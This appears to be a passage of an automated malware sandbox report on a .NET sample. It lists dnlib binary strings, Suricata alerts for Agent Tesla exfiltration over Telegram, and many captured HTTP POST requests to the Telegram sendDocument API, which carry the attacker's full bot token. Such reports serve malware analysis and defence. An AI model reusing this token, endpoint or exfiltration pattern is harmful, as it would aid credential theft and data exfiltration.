Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: gq8sce-clean.com.com.exe, OgBoRN.exe.0.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49707 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49708 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:49708 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2851779 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil : 192.168.2.5:49707 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:49707 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49822 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2854281 - Severity 1 - ETPRO MALWARE Win32/Agent Tesla CnC Response Inbound : 149.154.167.220:443 -> 192.168.2.5:49707
Source: Network traffic	Suricata IDS: 2851779 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil : 192.168.2.5:49822 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:49822 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49778 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:49778 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2854281 - Severity 1 - ETPRO MALWARE Win32/Agent Tesla CnC Response Inbound : 149.154.167.220:443 -> 192.168.2.5:49822
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49833 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:49833 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2854281 - Severity 1 - ETPRO MALWARE Win32/Agent Tesla CnC Response Inbound : 149.154.167.220:443 -> 192.168.2.5:49708
Source: Network traffic	Suricata IDS: 2854281 - Severity 1 - ETPRO MALWARE Win32/Agent Tesla CnC Response Inbound : 149.154.167.220:443 -> 192.168.2.5:49778
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49993 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49992 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49767 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49997 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49996 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2854281 - Severity 1 - ETPRO MALWARE Win32/Agent Tesla CnC Response Inbound : 149.154.167.220:443 -> 192.168.2.5:49833
Source: Network traffic	Suricata IDS: 2851779 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil : 192.168.2.5:49767 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:49767 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:50003 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:50004 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:50000 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:49997 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:49992 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:50009 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:49996 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2854281 - Severity 1 - ETPRO MALWARE Win32/Agent Tesla CnC Response Inbound : 149.154.167.220:443 -> 192.168.2.5:49767
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49999 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:50012 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:50003 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:50015 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:50014 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:50011 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:50001 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:50000 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:50004 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:50009 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:50012 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:49999 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49990 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:50015 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:50001 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:50011 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:49990 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:50007 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:50006 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:50013 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:50007 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:50006 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:50008 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:50002 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:50013 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:49993 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:50010 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:50002 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49994 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:50008 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49991 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:50010 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:49994 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:49991 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49998 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:50005 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:49998 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49995 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:50005 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:49995 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:50016 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2852815 - Severity 1 - ETPRO MALWARE Agent Tesla Telegram Exfil M2 : 192.168.2.5:50016 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd50fd7cec3be6Host: api.telegram.orgContent-Length: 971Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd510e292b104fHost: api.telegram.orgContent-Length: 912Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd50f95a4e2a64Host: api.telegram.orgContent-Length: 971Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd5108a399824dHost: api.telegram.orgContent-Length: 912Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd50f95f9c48d7Host: api.telegram.orgContent-Length: 971Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd510a0cec50c6Host: api.telegram.orgContent-Length: 912Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd5d31f9dcb229Host: api.telegram.orgContent-Length: 66496Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd563df02e18ffHost: api.telegram.orgContent-Length: 66699Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd6c1cb84d1689Host: api.telegram.orgContent-Length: 66488Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd6eeddd0e296dHost: api.telegram.orgContent-Length: 66488Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd6522beff5f0aHost: api.telegram.orgContent-Length: 66488Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd71c332c9539eHost: api.telegram.orgContent-Length: 66488Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd73db318d0f97Host: api.telegram.orgContent-Length: 66488Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd67a5afe26105Host: api.telegram.orgContent-Length: 66488Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd77d60012a77aHost: api.telegram.orgContent-Length: 66488Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd79ba4bbf7f60Host: api.telegram.orgContent-Length: 66488Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd7c7ea6e772a3Host: api.telegram.orgContent-Length: 71356Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd6d021c9dd24cHost: api.telegram.orgContent-Length: 66488Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd84ee588da49aHost: api.telegram.orgContent-Length: 66481Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd871f04c62b47Host: api.telegram.orgContent-Length: 66481Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd78284f97f23aHost: api.telegram.orgContent-Length: 66481Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd90e3b20fec41Host: api.telegram.orgContent-Length: 66481Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd95ab240b67d6Host: api.telegram.orgContent-Length: 66481Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd81d75b28d528Host: api.telegram.orgContent-Length: 66481Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7592112496:AAHWqmde0X-FJ2N0RbGUCzjKZ_SOBvB4Yd0/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dd9fbed3a15e79Host: api.telegram.orgContent-Length: 66659Expect: 100-continueConnection: Keep-Alive
